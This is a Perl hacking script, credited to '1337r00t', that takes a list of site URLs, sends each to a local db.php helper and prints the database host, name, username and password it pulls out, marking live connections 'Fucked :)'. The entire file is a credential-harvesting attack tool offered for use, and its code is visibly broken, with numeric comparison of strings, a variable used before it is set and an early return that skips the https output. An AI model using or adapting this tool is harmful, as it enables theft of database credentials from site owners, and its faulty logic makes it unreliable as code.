SMH

use LWP::UserAgent;
system('cls');
print '
===============================================================
|| 0x.{Extracktor|{Config}|Connecter}.0x For Suliman Hacker  ||
|| Coded With Love By 1337r00t For Suliman Hacker            ||
===============================================================
';
print "List Of Usernames => ";
$urllist = <STDIN>;
chomp($urllist);
open (URLFILE, "<$urllist") || die "[-] Can't Found ($urllist) !";
@URLS = <URLFILE>;
close URLFILE;
foreach $url (@URLS) {
chomp $url;
    if($url=~/http:\/\//){
        connecting('http',$url);
    }
    if($url=~/https:\/\//){
        connecting('https',$url);
    }
}
###########
sub connecting($$){
    ($type,$cwd) = @_;
    if($type == 'http'){
        $db1 = LWP::UserAgent->new();
        $dbed1 = $db1->post('http://localhost/db.php?type=http',{url=>$cwd});
        if($dbed1->content=~/"status":"Disconnected"/){
            print "--------------\n";
            print "Host: ";
            print $dbed1->content=~/"host":"(.+?)"/;
            print "\n";
            print "Name: ";
            print $dbed1->content=~/"name":"(.+?)"/;
            print "\n";
            print "Username: ";
            print $dbed1->content=~/"username":"(.+?)"/;
            print "\n";
            print "Password: ";
            print $dbed1->content=~/"password":"(.+?)"/;
            print "\n";
            print "Status: Disconnected\n--------------\n";
        }else{
            if($dbed2->content=~/"status":"Connected"/){
                print "-----Fucked :)-----\n";
                print "Host: ";
                print $dbed1->content=~/"host":"(.+?)"/;
                print "\n";
                print "Name: ";
                print $dbed1->content=~/"name":"(.+?)"/;
                print "\n";
                print "Username: ";
                print $dbed1->content=~/"username":"(.+?)"/;
                print "\n";
                print "Password: ";
                print $dbed1->content=~/"password":"(.+?)"/;
                print "\n";
                print "Status: Connected\n-----Fucked :)-----\n";
            }else{
                print "Failed Regex-> (".$cwd.")\n";
            }
        }
    }
    if($type == 'https'){
        $db2 = LWP::UserAgent->new();
        $dbed2 = $db2->post('http://localhost/db.php?type=https',{url=>$cwd});
        return $dbed2->content();
        if($dbed2->content=~/"status":"Disconnected"/){
            print "--------------\n";
            print "Host: ";
            print $dbed2->content=~/"host":"(.+?)"/;
            print "\n";
            print "Name: ";
            print $dbed2->content=~/"name":"(.+?)"/;
            print "\n";
            print "Username: ";
            print $dbed2->content=~/"username":"(.+?)"/;
            print "\n";
            print "Password: ";
            print $dbed2->content=~/"password":"(.+?)"/;
            print "\n";
            print "Status: Disconnected\n--------------\n";
        }else{
            if($dbed2->content=~/"status":"Connected"/){
                print "-----Fucked :)-----\n";
                print "Host: ";
                print $dbed2->content=~/"host":"(.+?)"/;
                print "\n";
                print "Name: ";
                print $dbed2->content=~/"name":"(.+?)"/;
                print "\n";
                print "Username: ";
                print $dbed2->content=~/"username":"(.+?)"/;
                print "\n";
                print "Password: ";
                print $dbed2->content=~/"password":"(.+?)"/;
                print "\n";
                print "Status: Connected\n-----Fucked :)-----\n";
            }else{
                print "Failed Regex-> (".$cwd.")\n";
            }
        }
    }
}